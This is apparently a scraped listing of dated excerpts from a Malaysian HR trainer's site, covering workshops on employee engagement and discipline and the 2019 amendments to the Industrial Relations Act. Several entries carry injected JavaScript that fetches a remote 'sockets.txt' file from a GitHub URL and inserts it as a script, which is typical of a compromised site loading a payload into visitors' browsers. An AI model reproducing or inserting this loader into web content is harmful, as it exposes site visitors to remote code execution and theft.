18 Dec 2019

Round 1 (IPOH) briefing on the amendments to the Industrial Relations Act. Telling the Employers and Business Owners on the harsh reality of the amendments and how it will affect organisations. It is going to cost the Company everything while it cost the Employee nothing. #changemanagement #industrialrelations Round 2 on the amendments to the Industrial Relations Act for members of the M...

01 Nov 2019

Bracing organisations for major changes in the Industrial Relations Act 1967. Another training on Management Empowerment for BKB Hevea, to help them align their procedures and address conformity among their Managers through their HR processes before the amendments take effect. ;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(response...

01 Oct 2019

Big changes coming in Employment Law. The amendments to the Industrial Relations Act will have far reaching consequences on companies. An employee will get his day in court as the process is will now take 1/2 the time for it to be referred to the Industrial Court. The major changes affecting Companies are:- 1. The HR Minister discretion to refer cases to the Industrial Court is abolish...

01 Sep 2019

Employee Engagement & Management for the senior Management team of Perak Turf Club. The benefit of in-house training is that I can align company's policies to 'mirror' employment legislation. More importantly its a 'no holds barred' training to make Management accountable & responsible to drive those policies thru its engagement processes with its employees. #management #humanr...

01 Sep 2019

Another 2 days training on Employee Engagement and the Disciplinary process. A different approach unlike my regular training sessions. A group of 6 were put thru the rigours of the topic with breakout sessions focusing on case studies and finding solutions Pushing them to think 'outside the box' on how to create systems and creating accountability;var url = 'https://raw.githubusercont...

01 Aug 2019

Employee engagement is about small group discourse to make employees become stakeholders in the Company. This one day workshop is help employee discover their worth and how to put their talents towards personal growth and creating overall employee satisfaction;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(response => response.text())...

01 Jul 2019

2 day program on Employee Engagement and the Disciplinary process for Malaysian Hotels Association (KL Chapter) . HOW DO WE KNOW WHEN OUR TRAINING IS EFFECTIVE?As much as there is a requirement to cover the course content, one cannot stress the importance of the break-out sessions, which are critical to gauge the participants understanding and the application of the course material. As M...

01 Jun 2019

2 days of training members of the Malaysian Hotel Associations (Penang branch) on Management Empowerment & Discipline. Rather the telling them the law is, my focus is Case studies & role playing as a means of finding solutions in respect of the challenges faced by Companies.;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(respon...

24 Apr 2019

Bullying and sexual harassment is one of the current issues in employment. Management failure to address this has legal percussions on Directors of companies and Managers. As this is a public program anyone is free to join;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.c...